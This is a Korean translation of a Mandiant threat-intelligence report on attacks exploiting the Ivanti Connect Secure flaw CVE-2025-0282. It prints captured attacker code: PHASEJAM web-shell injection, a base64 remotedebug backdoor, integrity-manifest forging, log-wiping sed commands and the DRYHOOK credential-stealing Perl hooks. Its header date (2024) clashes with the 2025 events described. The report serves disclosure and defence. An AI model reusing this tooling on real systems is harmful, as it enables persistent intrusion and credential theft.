Ivanti Connect Secure VPN, 새로운 제로데이 공격에 표적
Mandiant
* 해당 블로그의 원문은 2024년 1월 9일 Google Cloud 블로그(영문)에 게재되었습니다.
작성자: John Wolfram, Josh Murchie, Matt Lin, Daniel Ainsworth, Robert Wallace, Dimiter Andonov, Dhanesh Kizhakkinan, Jacob Thompson
Mandiant와 Ivanti는 현재 진행 중인 공격 캠페인을 분석 중이며, 이 블로그 게시물에 지표, 탐지 및 정보를 지속적으로 업데이트할 예정입니다.
2025년 1월 8일 수요일, Ivanti는 Ivanti Connect Secure ("ICS") VPN 어플라이언스에 영향을 미치는 두 가지 취약점 CVE-2025-0282 및 CVE-2025-0283을 공개했습니다. Mandiant는 2024년 12월 중순부터 CVE-2025-0282 제로데이 취약점이 악용되고 있음을 확인했습니다. CVE-2025-0282는 인증되지 않은 스택 기반 버퍼 오버플로우 취약점입니다. 이 취약점이 악용될 경우 인증되지 않은 원격 코드 실행이 가능해져 피해자 네트워크가 손상될 수 있습니다.
Ivanti와 영향을 받은 고객은 회사에서 제공하는 Integrity Checker Tool ("ICT") 및 기타 상용 보안 모니터링 도구를 통해 이러한 공격을 확인했습니다. Ivanti는 Mandiant, 영향을 받은 고객, 정부 파트너 및 보안 공급업체와 긴밀히 협력하여 이러한 문제를 해결하고 있습니다. 조사 결과, Ivanti는 이 캠페인에서 악용된 취약점에 대한 패치를 발표했으며 Ivanti 고객은 보안 권고에 따라 시스템을 최대한 빨리 보호해야 합니다.
Mandiant is currently performing analysis of multiple compromised Ivanti Connect Secure appliances from multiple organizations. The activity described in this blog utilizes insights collectively derived from analysis of these infected devices and have not yet conclusively tied all of the activity described below to a single actor. In at least one of the appliances undergoing analysis, Mandiant observed the deployment of the previously observed SPAWN ecosystem of malware (which includes the SPAWNANT installer, SPAWNMOLE tunneler and the SPAWNSNAIL SSH backdoor). The deployment of the SPAWN ecosystem of malware following the targeting of Ivanti Secure Connect appliances has been attributed to UNC5337, a cluster of activity assessed with moderate confidence to be part of UNC5221, which is further described in the Attribution section.
Mandiant는 현재 여러 조직의 여러 Ivanti Connect Secure 어플라이언스에서 발생한 침해 사례를 분석하고 있습니다. 이 블로그에 설명된 활동은 감염된 장치 분석에서 얻은 통찰력을 종합적으로 활용한 것이며 아래 설명된 모든 활동이 단일 공격자와 관련된 것으로 결론짓지는 않았습니다. 분석 중인 어플라이언스 중 하나 이상에서 Mandiant는 이전에 관찰된 SPAWN 맬웨어 에코시스템(SPAWNANT 설치 프로그램, SPAWNMOLE 및 SPAWNSNAIL SSH 백도어 포함)의 배포를 확인했습니다. Ivanti Secure Connect 어플라이언스를 대상으로 한 SPAWN 맬웨어 에코시스템 배포는 UNC5337의 활동으로 여겨지며, 이는 UNC5221의 일부로 추정됩니다(자세한 내용은 Attribution 섹션 참조).
Mandiant는 또한 추가적인 침해된 어플라이언스에서 이전에 관찰되지 않은 맬웨어 제품군인 DRYHOOK 및 PHASEJAM을 식별했으며, 현재 알려진 그룹과 연결되지 않았습니다.
SPAWN, DRYHOOK 및 PHASEJAM과 같은 다양한 코드 제품군의 생성 및 배포에 여러 공격자가 관여했을 가능성이 있지만, 이 보고서를 게시하는 시점에는 CVE-2025-0282를 대상으로 하는 위협 행위자의 수를 정확하게 평가할 수 있는 충분한 데이터가 없습니다. Mandiant는 추가 정보가 수집됨에 따라 이 블로그 게시물을 계속 업데이트할 예정입니다.
익스플로잇
CVE-2025-0282는 ICS 릴리스 22.7R2의 여러 패치 레벨에 영향을 미치지만, 성공적인 익스플로잇은 버전에 따라 다릅니다. 익스플로잇 전에 어플라이언스에 대한 반복적인 요청이 관찰되었는데, 이는 익스플로잇을 시도하기 전에 버전을 확인하기 위한 것으로 보입니다.
위에 표시된 Host Checker Launcher 및 다양한 클라이언트 설치 프로그램을 사용하여 어플라이언스의 버전을 확인하는 버전 탐지가 관찰되었습니다. VPS 제공업체 또는 Tor 네트워크에서 이러한 URL로의 HTTP 요청, 특히 순차적인 버전 순서로 발생하는 경우 악용 전 정찰 활동을 나타낼 수 있습니다.
CVE-2025-0282 익스플로잇에는 여러 변형이 있지만, 익스플로잇 및 스크립트는 일반적으로 다음 단계를 수행합니다.
-
SELinux 비활성화
-
syslog 전달 방지
-
드라이브를 읽기-쓰기로 다시 마운트
-
스크립트 작성
-
스크립트 실행
-
하나 이상의 웹 셸 배포
-
sed
를 사용하여 디버그 및 애플리케이션 로그에서 특정 로그 항목 제거 -
SELinux 다시 활성화
- 드라이브 다시 마운트
익스플로잇 직후 위협 행위자는 SELinux를 비활성화하고, iptables
를 사용하여 syslog 전달을 차단하고, 루트 파티션을 다시 마운트하여 어플라이언스에 맬웨어를 쓸 수 있도록 합니다.
setenforce 0
iptables -A OUTPUT -p udp --dport 514 -j DROP
iptables -A OUTPUT -p tcp --dport 514 -j DROP
iptables -A OUTPUT -p udp --dport 6514 -j DROP
iptables -A OUTPUT -p tcp --dport 6514 -j DROP
mount -o remount,rw /
맬웨어 스테이징
Mandiant는 위협 행위자가 셸 스크립트를 사용하여 Base64로 인코딩된 스크립트를 /tmp/.t
에 에코한 다음 해당 파일에 실행 권한을 설정하는 것을 관찰했습니다. 아래 그림은 /tmp/.t
의 내용을 보여줍니다.
#!/bin/sh
export LD_LIBRARY_PATH=/home/lib/;export DSINSTALL=/home;
export PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/;
dmesg -C;bash /tmp/s>/tmp/kN;
다음으로, 위협 행위자는 Base-64로 인코딩된 ELF 바이너리를 /tmp/svb
에 씁니다. 이 ELF 바이너리는 먼저 setuid
를 사용하여 프로세스의 소유자를 루트로 설정합니다. 그런 다음 부모 프로세스의 루트 권한을 상속받는 /tmp/s
(PHASEJAM)을 실행합니다. 그 후 위협 행위자는 dd
를 사용하여 svb
파일을 0으로 덮어쓰고 /tmp/.t
를 제거합니다. 즉, 공격자는 악성코드를 실행한 후 흔적을 지우기 위해 파일을 삭제하고 덮어쓰는 작업을 수행합니다.
/bin/chmod 6777 /tmp/svb;
/tmp/svb;
/bin/dd count=1 bs=4096 if=/dev/zero of=/tmp/svb;
/bin/chmod 666 /tmp/svb;
/bin/rm -rf /tmp/.t;
PHASEJAM
PHASEJAM은 Ivanti Connect Secure 어플라이언스 구성 요소를 악의적으로 수정하는 bash 셸 스크립트로 작성된 드롭퍼입니다. PHASEJAM의 주요 기능은 getComponent.cgi
및 restAuth.cgi
파일에 웹 셸을 삽입하고, DSUpgrade.pm
파일을 수정하여 시스템 업그레이드를 차단하고, remotedebug
실행 파일을 덮어써 특정 매개변수가 전달될 때 임의의 명령을 실행하는 데 사용할 수 있도록 하는 것입니다.
웹 셸
PHASEJAM은 웹 셸을 AccessAllow()
라는 함수로 getComponent.cgi
및 restAuth.cgi
라는 합법적인 파일에 삽입합니다. 웹 셸은 Perl 기반이며 위협 행위자에게 손상된 ICS 서버에 대한 원격 액세스 및 코드 실행 기능을 제공합니다. MIME::Base64 모듈을 사용하여 명령 및 데이터를 인코딩하고 디코딩합니다.
아래 표는 HTTP 쿼리 매개변수에서 파생된 특정 명령을 통해 액세스할 수 있는 웹 셸의 기능을 요약한 것입니다.
업그레이드 및 차단 시뮬레이션
업그레이드 시도를 가로채고 업그레이드를 시뮬레이션하기 위해 PHASEJAM은 processUpgradeDisplay()
라는 악성 함수를 /home/perl/DSUpgrade.pm
파일에 삽입합니다. 이 기능은 13단계를 거치는 업그레이드 프로세스를 시뮬레이션하기 위한 것으로, 각 단계는 미리 정의된 시간이 소요됩니다. ICS 관리자가 업그레이드를 시도하면 이 함수는 각 단계와 함께 다양한 개수의 점을 표시하여 실행 중인 프로세스를 모방하는 시각적으로 설득력 있는 업그레이드 프로세스를 표시합니다. 자세한 내용은 시스템 업그레이드 지속성 섹션에 제공됩니다.
remotedebug 후킹
PHASEJAM은 /home/bin/remotedebug
파일의 이름을 remotedebug.bak
으로 바꿉니다. PHASEJAM은 remotedebug
에 대한 호출을 후킹하기 위해 새로운 /home/bin/remotedebug
셸 스크립트를 작성합니다. 간단한 셸 스크립트는 웹 셸에서 원격 코드 실행을 허용하는 새로운 -c 매개변수를 확인합니다. 다른 모든 매개변수는 remotedebug.bak
에 전달됩니다.
다음은 요약된 PHASEJAM 샘플입니다.
# create backdoor 1
cp /home/webserver/htdocs/dana-na/jam/getComponent.cgi
/home/webserver/htdocs/dana-na/jam/getComponent.cgi.bak
sed -i 's/sub main {/sub main {my \$r7=AccessAllow();return if
\$r7;/g' /home/webserver/htdocs/dana-na/jam/getComponent.cgi
sh=$(echo CnN1YiB...QogICAK|base64 -d)
up=$(echo CnN1YiB...xuIjsKCn0K |base64 -d)
grep -q 'sub AccessAllow()' || echo "$sh" >>
/home/webserver/htdocs/dana-na/jam/getComponent.cgi
sed -i "s/$(grep /home/webserver/htdocs/dana-na/jam/getComponent.cgi
/home/etc/manifest/manifest -a |grep
-oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256
/home/webserver/htdocs/dana-na/jam/getComponent.cgi |grep
-oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest;
#pkill cgi-server
# create backdoor 2
cp /home/webserver/htdocs/dana-na/auth/restAuth.cgi
/home/webserver/htdocs/dana-na/auth/restAuth.cgi.bak
sed -i 's/sub main {/sub main {my \$r7=AccessAllow();return if
\$r7;/g' /home/webserver/htdocs/dana-na/auth/restAuth.cgi
grep -q 'sub AccessAllow()' echo "$sh" >>
/home/webserver/htdocs/dana-na/auth/restAuth.cgi
sed -i "s/$(grep /home/webserver/htdocs/dana-na/auth/restAuth.cgi
/home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl
dgst -sha256 /home/webserver/htdocs/dana-na/auth/restAuth.cgi |grep
-oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest;
#pkill cgi-server
# remotedebug
cp -f /home/bin/remotedebug /home/bin/remotedebug.bak
echo IyEvYmluL2Jhc2gKaWYgWyAiJDEiID09ICItYyIgXTsgdGhlbgoJYm
FzaCAiJEAiCmVsc2UKCWV4ZWMgL2hvbWUvYmluL3JlbW90ZWRlYnV
nLmJhayAiJEAiCmZpICAK|base64 -d >/home/bin/remotedebug
chmod 777 /home/bin/remotedebug.bak
sed -i "s/$(grep /home/bin/remotedebug /home/etc/manifest/manifest
-a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256
/home/bin/remotedebug |grep -oE '[0-9a-f]{64}')/g"
/home/etc/manifest/manifest;
# upgrade
cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak
sed -i 's/popen(\*FH, \$prog);/processUpgradeDisplay(\$prog,
\$console, \$html);return 0;popen(\*FH, \$prog);/g'
/home/perl/DSUpgrade.pm
grep -q 'sub processUpgradeDisplay()' || echo "$up" >>
/home/perl/DSUpgrade.pm
sed -i "s/$(grep /home/perl/DSUpgrade.pm /home/etc/manifest/manifest
-a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256
/home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g"
/home/etc/manifest/manifest;
pkill cgi-server
증거 인멸
익스플로잇 후 위협 행위자는 어플라이언스의 여러 주요 영역에서 익스플로잇 증거를 제거하는 것이 관찰되었습니다.
dmesg
를 사용하여 커널 메시지를 지우고 악용 중에 생성된 디버그 로그에서 항목 제거- 문제 해결 정보 패키지(상태 덤프) 및 프로세스 충돌로 인해 생성된 모든 코어 덤프 삭제
- syslog 실패, 내부 ICT 실패, 충돌 추적 및 인증서 처리 오류와 관련된 로그 애플리케이션 이벤트 로그 항목 제거
- SELinux 감사 로그에서 실행된 명령 제거
- 즉, 공격자는 시스템 로그, 디버그 정보, 오류 기록 등을 삭제하여 자신들의 침입 흔적을 지우고 분석을 어렵게 만듭니다.
dmesg -C
cd /data/var/dlogs/
sed -i '/segfault/d' debuglog
sed -i '/segfault/d' debuglog.old
sed -i '/SystemError/d' debuglog
sed -i '/SystemError/d' debuglog.old
sed -i '/ifttls/d' debuglog
sed -i '/ifttls/d' debuglog.old
sed -i '/main.cc/d' debuglog
sed -i '/main.cc/d' debuglog.old
sed -i '/SSL_read/d' debuglog
sed -i '/SSL_read/d' debuglog.old
sed -i '/tlsconnectionpoint/d' debuglog
sed -i '/tlsconnectionpoint/d' debuglog.old
rm -rf /data/var/statedumps/*
rm -rf /data/var/cores/*
cd /home/runtime/logs
sed -i 's/[^\x00]\{1\}\x00[^\x00]*web server[^\x00]*\x00//g' log.events.vc0
sed -i 's/[^\x00]\{1\}\x00[^\x00]*AUT24604[^\x00]*\x00//g' log.events.vc0
sed -i 's/[^\x00]\{1\}\x00[^\x00]*SYS31048[^\x00]*\x00//g' log.events.vc0
sed -i 's/[^\x01]\{1\}\x01[^\x01]*SYS31376[^\x01]*\x01//g' log.events.vc0
sed -i 's/\x01[^\x01]\{2,3\}6[^\x01]*ERR10073[^\xff]*\x09[^\x01]\{1\}\x01/
\x01/g' log.events.vc0
cd /data/var/log/audit/
sed -i '/bin\/web/d' audit.log
sed -i '/setenforce/d' audit.log
sed -i '/mount/d' audit.log
sed -i '/bin\/rm/d' audit.log
시스템 업그레이드 지속성
Mandiant는 위협 행위자가 손상된 Ivanti Connect Secure 어플라이언스에서 시스템 업그레이드를 통해 지속성을 유지하기 위해 사용하는 두 가지 기술을 식별했습니다.
가짜 시스템 업그레이드
PHASEJAM에서 사용하는 첫 번째 기술은 합법적인 업그레이드 프로세스를 자동으로 차단하는 동시에 가짜 HTML 업그레이드 진행률 표시줄을 렌더링하여 관리자가 합법적인 ICS 시스템 업그레이드를 시도하지 못하도록 합니다. 업그레이드 시도가 차단되었기 때문에 이 기술을 사용하면 위협 행위자가 남긴 설치된 백도어 또는 도구가 VPN의 현재 실행 중인 버전에 지속적으로 유지되면서 업그레이드가 성공한 것처럼 보이게 할 수 있습니다.
먼저 위협 행위자는 sed
를 사용하여 악성 Perl 코드를 DSUpgrade.pm
에 삽입하여 시스템 업그레이드 프로세스의 동작을 수정합니다. 셸 변수 $up
에 저장된 악성 processUpgradeDisplay()
함수가 DSUpgrade.pm
에 추가됩니다.
sed -i 's/popen(\*FH, \$prog);/processUpgradeDisplay(\$prog,
\$console, \$html);return 0;popen(\*FH, \$prog);/g'
/home/perl/DSUpgrade.pm
grep -q 'sub processUpgradeDisplay()' || echo "$up" >>
/home/perl/DSUpgrade.pm
이러한 수정은 DSUpgrade.pm
에서 새 업그레이드 패키지를 설치하는 함수 내에서 발생합니다. early return과 함께 삽입된 processUpgradeDisplay()
호출로 인해 /pkg/dspkginstall
을 실행하기 위한 합법적인 popen()
호출에 도달할 수 없게 됩니다. 다음은 수정 결과로 나타나는 DSUpgrade.pm의 관련 발췌 부분입니다.
local *FH;
my $prog = "/pkg/dspkginstall /var/tmp/new-pack.tgz";
if (defined $useUpgradePartition && $useUpgradePartition == 1) {
$prog = "/pkg/dspkginstall /data/upgrade/new-pack.tgz";
}
processUpgradeDisplay($prog, $console, $html);
return 0;
popen(*FH, $prog);
이 수정은 합법적인 업그레이드 명령이 실행되기 전에 악의적으로 생성된 processUpgradeDisplay()
함수를 호출하여 표준 업그레이드 흐름을 가로챕니다. 아래 그림은 sleep
명령을 사용하여 1초마다 점을 추가하여 실행 중인 프로세스를 모방하는 가짜 HTML 업그레이드 진행률 표시줄을 표시하는 삽입된 processUpgradeDisplay()
함수의 발췌 부분입니다.
$mystep = 13;
$count = 0;
$sleep_time = 2;
$myline = "Finalizing installation";
print $html "<li style=\"margin:6px;\">Step $mystep: $myline ...";
print $console "$myline ...";
while ($count < $sleep_time) {
system("/bin/sleep 1");
print $html ".";
print $console ".";
++$count;
}
print $html " complete ($sleep_time seconds)</li>\n";
print $console " complete ($sleep_time seconds)\r\n";
최신 버전의 Ivanti Connect Secure에는 시스템 손상을 나타낼 수 있는 새 파일이나 수정된 시스템 파일을 감지하기 위해 파일 시스템을 주기적으로 검사하는 무결성 검사 도구(ICT)가 내장되어 있습니다. ICT는 검사 프로세스 중에 매니페스트를 사용하는데, 여기에는 시스템에서 예상되는 파일 경로 목록과 예상 SHA256 해시가 포함되어 있습니다. 위협 행위자는 ICT 스캐너를 우회하기 위해 수정된 DSUpgrade.pm
의 SHA256 해시를 다시 계산하여 매니페스트에 삽입합니다.
sed -i "s/$(grep /home/perl/DSUpgrade.pm
/home/etc/manifest/manifest -a |grep -oE
'[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256
/home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g"
/home/etc/manifest/manifest;
위협 행위자는 마운트된 업그레이드 파티션(tmp/root/home/VERSIO
)에서 VERSION
파일을 현재 버전 파티션(/home/VERSION
)으로 복사합니다. 결과적으로 시스템은 이전 어플라이언스 버전에서 계속 실행되는 동안 업그레이드가 성공한 것으로 잘못 표시합니다.
chdir("/tmp");
system("/bin/mkdir", "-p", "root/home");
system("/bin/tar", "-xzf", $tgz_path, "./root/home/VERSION");
system("/bin/cp -f ./root/home/VERSION /data/versions/reset/VERSION");
system("/bin/cp -f ./root/home/VERSION /home/VERSION");
위협 행위자는 업그레이드 파티션의 VERSION
파일의 SHA256 해시를 다시 계산하여 ICT 매니페스트에 삽입합니다.
system('sed -i \'s/$(grep /home/VERSION|grep
-oE "[0-9a-f]{64}")/$(/home/bin/openssl dgst -sha256
/home/VERSION)/g\' /home/etc/manifest/manifest');
업그레이드를 통한 지속성 유지
SPAWNANT (libupgrade.so
)는 SPAWN 제품군의 세 가지 구성 요소를 설치하는 ELF32 실행 파일입니다.
-
SPAWNMOLE 터널러 (
libsocks5.so
) -
SPAWNSNAIL SSH 백도어 (
libsshd.so
) -
SPAWNSLOTH 로그 변조 유틸리티 (
.liblogblock.so
)
SPAWNANT 및 지원 구성 요소는 시스템 업그레이드를 통해 지속성을 유지할 수 있습니다. 지속성 메커니즘을 포함하는 악성 snprintf
함수를 내보내 시스템 업그레이드 프로세스 중에 사용되는 바이너리인 dspkginstall
의 실행 흐름을 가로챕니다.
이 블로그 게시물에 설명된 시스템 업그레이드 지속성을 위한 첫 번째 방법과 달리 SPAWNANT는 업그레이드 프로세스를 차단하지 않습니다. 자체 구성 요소와 함께 새 업그레이드 파티션(합법적인 시스템 업그레이드 프로세스 중에 /tmp/data/
에 마운트됨)으로 마이그레이션되도록 하여 업그레이드 프로세스에서 살아남습니다.
cp /lib/libupgrade.so /tmp/data/root/lib
cp /home/lib/libsocks5.so /tmp/data/root/home/lib
cp /home/lib/libsshd.so /tmp/data/root/home/lib
SPAWNANT sets the LD_PRELOAD
environment variable to itself (libupgrade.so
) within DSUpgrade.pm
on the upgrade partition. The modification tells the dynamic linker to load libupgrade.so
and use SPAWNANT’s malicious exported snprintf
function before other libraries.
SPAWNANT는 업그레이드 파티션의 DSUpgrade.pm
내에서 LD_PRELOAD
환경 변수를 자기 자신(libupgrade.so
)으로 설정합니다. 이 수정은 동적 링커에게 libupgrade.so
를 로드하고 다른 라이브러리보다 먼저 SPAWNANT의 악성 내보낸 snprintf
함수를 사용하도록 지시합니다.
ENV{“LD_PRELOAD”} = “libupgrade.so”
다음으로, SPAWNANT는 업그레이드 파티션의 compcheckresult.cgi
에 웹 셸을 작성하여 백도어 액세스를 위한 추가 방법을 설정합니다. 이 웹 셸은 system()
함수를 사용하여 하드 코딩된 쿼리 매개변수에 전달된 값을 실행합니다. 아래는 삽입된 웹 셸의 관련 발췌 부분입니다.
if(CGI::param("<redacted>")) {
print "Cache-Control: no-cache";
print "Content-type: text/html";
my $a=CGI::param("<redacted>");
system("$a");
}
SPAWNANT는 악의적으로 수정된 모든 파일에 대한 SHA256 해시를 다시 계산하여 ICT를 우회하는 데 세심한 주의를 기울입니다. 즉, 파일을 변경한 후에도 마치 원본 파일인 것처럼 속이는 것이고, 적절한 수정이 완료되면 SPAWNANT는 수정된 매니페스트에 서명하기 위해 새로운 RSA 키 쌍을 생성합니다. 마치 정상적인 업데이트 파일인 것처럼 위장하는 것입니다. 이렇게 SPAWNANT는 ICT의 감시를 피하고 시스템에 숨어서 지속적으로 활동할 수 있게 됩니다.
/home/bin/openssl genrsa -out private.pem 2048
/home/bin/openssl rsa -in private.pem -out manifest.2
-outform PEM -pubout
/home/bin/openssl dgst -sha512 -sign private.pem -out
manifest.1 /tmp/data/root/home/etc/manifest/manifest
mv manifest.1 manifest.2 /tmp/data/root/home/etc/manifest/
rm -f private.pem'
공격 후 활동
터널러
어플라이언스에 초기 거점을 마련한 후 Mandiant는 공격자가 손상된 어플라이언스와 위협 행위자의 명령 및 제어 인프라 간의 통신 채널을 용이하게 하기 위해 고안된 공개적으로 사용 가능한 오픈 소스 터널러를 포함하여 여러 가지 터널러를 사용하는 것을 관찰했습니다. 이러한 터널러를 통해 공격자는 네트워크 보안 제어를 우회하고 피해자 환경으로 더 깊숙이 침투할 수 있습니다.
SPAWNMOLE
Cutting Edge, Part 4에서 처음 보고된 SPAWNMOLE은 웹 프로세스에 삽입되는 터널러입니다. web
프로세스의 accept
함수를 가로채 트래픽을 모니터링하고 공격자로부터 발생하는 악성 트래픽을 필터링합니다. SPAWNMOLE은 특정 일련의 매직 바이트를 감지하면 활성화됩니다. 그렇지 않으면 나머지 정상 트래픽은 합법적인 웹 서버 함수로 수정되지 않고 전달됩니다. 악성 트래픽은 버퍼에 공격자가 제공한 호스트로 터널링됩니다.
LDAP 쿼리
위협 행위자는 내부 네트워크 정찰을 수행하기 위해 여러 도구를 사용했습니다. 여기에는 어플라이언스에서 액세스할 수 있는 것을 확인하기 위해 ICS 어플라이언스에 포함된 nmap
및 dig
와 같은 기본 제공 도구를 사용하는 것이 포함됩니다. 또한 위협 행위자는 구성된 경우 ICS 어플라이언스의 LDAP 서비스 계정을 사용하여 LDAP 쿼리를 수행하는 것이 관찰되었습니다. LDAP 서비스 계정은 SMB 또는 RDP를 통해 Active Directory 서버를 포함하여 네트워크 내에서 측면으로 이동하는 데 사용되는 것으로 관찰되었습니다. 관찰된 공격자 명령 앞에는 다음 줄이 있었습니다.
#!/bin/sh
export LD_LIBRARY_PATH=/home/lib/;
export DSINSTALL=/home;
export PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/;
dmesg -c;
<commands>
다음 정찰 명령은 LDAP 쿼리 전에 위협 행위자가 실행하는 것으로 확인되었습니다.
dig @<IP ADDRESS> <VICTIM DOMAIN> A
nmap -Pn -sT -p 80,443,445 <IP ADDRESS> --open
LDAP 쿼리는 /tmp/lmdbcerr
를 사용하여 실행되었으며, 출력은 /tmp
디렉토리의 임의의 이름을 가진 파일로 리디렉션되었습니다. 암호, 호스트 및 쿼리는 명령줄 인수로 전달되었습니다.
/tmp/lmdbcerr [redacted] -u 'CN=[redacted],CN=Managed Service
Accounts,DC=[redacted]' -p '[redacted]' -h <IP ADDRESS> --tls --dn
DC=[redacted] -o /tmp/<RANDOM STRING>
/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h
api-[redacted].duosecurity.com --tls --dn dc=[redacted] -o
/tmp/<RANDOM STRING>
/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h
api-[redacted].duosecurity.com --tls --filter '(cn=*)' --dn dc=[redacted]
-o /tmp/<RANDOM STRING>
/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>'
-h api-[redacted].duosecurity.com --tls --filter '(distinguishedName=*)'
--dn dc=[redacted] -o /tmp/<RANDOM STRING>
/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>'
-h api-[redacted].duosecurity.com --tls --filter '(dn=*)' --dn dc=[redacted]
-o /tmp/<RANDOM STRING>
어플라이언스 캐시 데이터베이스 유출
Mandiant는 위협 행위자가 손상된 어플라이언스에서 데이터베이스 캐시를 아카이브하고 아카이브된 데이터를 공개 웹 서버에서 제공하는 디렉토리에 스테이징하여 데이터베이스 유출을 가능하게 하는 것을 관찰했습니다. 데이터베이스 캐시에는 VPN 세션, 세션 쿠키, API 키, 인증서 및 자격 증명 자료와 관련된 정보가 포함될 수 있습니다.
위협 행위자는 /runtime/mtmp/lmdb
의 내용을 아카이브합니다. 그런 다음 결과 tar 아카이브의 이름이 바뀌고 /home/webserver/htdocs/dana-na/css/
내에 있는 CSS 파일로 위장합니다.
Ivanti는 이전에 데이터베이스 캐시 덤프로 인해 발생할 수 있는 위험을 해결하기 위한 지침을 게시했습니다. 여기에는 로컬 계정 자격 증명 재설정, API 키 재설정 및 인증서 해지가 포함됩니다.
자격 증명 수집
Mandiant는 위협 행위자가 자격 증명을 훔치기 위해 DRYHOOK이라는 Python 스크립트를 배포하는 것을 관찰했습니다. 이 맬웨어는 성공적인 인증을 수집하기 위해 Ivanti Connect Secure 환경에 속하는 DSAuth.pm
이라는 시스템 구성 요소를 수정하도록 설계되었습니다.
실행 시 악성 Python 스크립트는 /home/perl/DSAuth.pm
을 열고 내용을 버퍼에 읽습니다. 다음으로 맬웨어는 정규식을 사용하여 다음 코드 줄을 찾아 바꿉니다.
*setPrompt
*runSignin = *DSAuthc::RealmSignin_runSignin;
*runSigninEBSL
위의 *setPrompt
값은 다음 Perl 코드로 대체됩니다.
# *setPrompt
$ds_g="";
sub setPrompt{
eval{
my $res=@_[1]."=".@_[2]."\n";
$ds_g .= $res;
};
return DSAuthc::RealmSignin_setPrompt(@_);
}
$ds_e="";
삽입된 setPrompt
루틴은 두 번째와 세 번째 매개변수를 캡처하여 <param2>=<param3>
형식으로 결합한 다음 생성된 문자열을 $ds_g
라는 전역 변수에 할당합니다. 다음 교체는 두 번째 매개변수가 사용자 이름이고 세 번째 매개변수가 인증하려는 사용자의 암호임을 나타냅니다.
# *runSignin = *DSAuthc::RealmSignin_runSignin;
$ds_g1="";
sub encode_base64 ($;$)
{
my $res = "";
my $eol = $_[1];
$eol = "\n" unless defined $eol;
pos($_[0]) = 0; # ensure start at the beginning
$res = join '', map( pack('u',$_)=~ /^.(\S*)/, ($_[0]=~/(.{1,45})/gs));
$res =~ tr|` -_|AA-Za-z0-9+/|; # `# help emacs
# fix padding at the end
my $padding = (3 - length($_[0]) % 3) % 3;
$res =~ s/.{$padding}$/'=' x $padding/e if $padding;
return $res;
}
sub runSignin{
my $res=DSAuthc::RealmSignin_runSignin(@_);
if(@_[1]->{status} != $DSAuth::Reject &&
@_[1]->{status} != $DSAuth::Restart){
if($ds_g ne ""){
CORE::open(FH,">>/tmp/cmdmmap.kuwMW");
my $dd=RC4("redacted",$ds_g);
print FH encode_base64($dd)."\n";
CORE::close(FH);
$ds_g = "";
}
}
elsif(@_[1]->{status} == $DSAuth::Reject ||
@_[1]->{status} == $DSAuth::Restart){
$ds_g = "";
}
return $res;
}
$ds_e1="";
위 코드에는 encode_base64
와 runSignin
이라는 두 개의 서브루틴이 포함되어 있습니다. encode_base64
는 문자열을 Base64로 인코딩하는 함수이고, runSignin
은 로그인 프로세스를 가로채서 로그인 시도가 성공하면 저장된 자격 증명(아이디와 비밀번호)을 /tmp
디렉토리의 cmdmmap.kuwMW
라는 파일에 저장하는 함수입니다.
마지막 코드 교체는 위와 동일한 코드이지만 코드에서 EBSL이라는 다른 로그인 방식을 대상으로 합니다. 즉, DRYHOOK은 여러 로그인 방식에서 자격 증명을 훔칠 수 있도록 설계되었다는 것을 의미합니다.
# *runSigninEBSL
$ds_g2="";
sub runSigninEBSL{
my $res=DSAuthc::RealmSignin_runSigninEBSL(@_);
if(@_[1]->{status} != $DSAuth::Reject &&
@_[1]->{status} != $DSAuth::Restart){
if($ds_g ne ""){
use Crypt::RC4;
CORE::open(FH,">>/tmp/cmdmmap.kuwMW");
my $dd=RC4("redacted",$ds_g);
print FH encode_base64($dd)."\n";
CORE::close(FH);
$ds_g = "";
}
}
elsif(@_[1]->{status} == $DSAuth::Reject ||
@_[1]->{status} == $DSAuth::Restart){
$ds_g = "";
}
return $res;
}
$ds_e2="";
변경 사항이 적용된 후 맬웨어는 수정된 내용을 DSAuth.pm 파일에 다시 쓰려고 시도하고, 실패할 경우 파일 시스템을 읽기-쓰기로 다시 마운트하여 파일을 쓰고 파일 시스템을 다시 읽기 전용으로 마운트합니다. 마지막으로 수정된 DSAuth.pm
을 활성화하기 위해 cgi-server
프로세스의 모든 인스턴스가 종료됩니다.
Attribution
Mandiant는 이전에 UNC5337에 의해 Ivanti Connect Secure 어플라이언스에 SPAWN 맬웨어 에코시스템이 배포되는 것을 관찰했습니다. UNC5337은 2024년 1월부터 최근 2024년 12월까지 Ivanti Connect Secure VPN 어플라이언스를 손상시킨 작전을 포함하여 중국과 관련된 스파이 활동 클러스터입니다. 여기에는 Ivanti Connect Secure 어플라이언스를 손상시키기 위한 CVE-2023-46805(인증 우회) 및 CVE-2024-21887(명령 삽입)의 2024년 1월 악용이 포함됩니다. 그런 다음 UNC5337은 SPAWNSNAIL 패시브 백도어, SPAWNMOLE 터널러, SPAWNANT 설치 프로그램 및 SPAWNSLOTH 로그 변조 유틸리티를 포함한 여러 사용자 지정 맬웨어 제품군을 활용했습니다. Mandiant는 UNC5337이 UNC5221의 일부라고 중간 정도의 확신을 가지고 의심합니다.
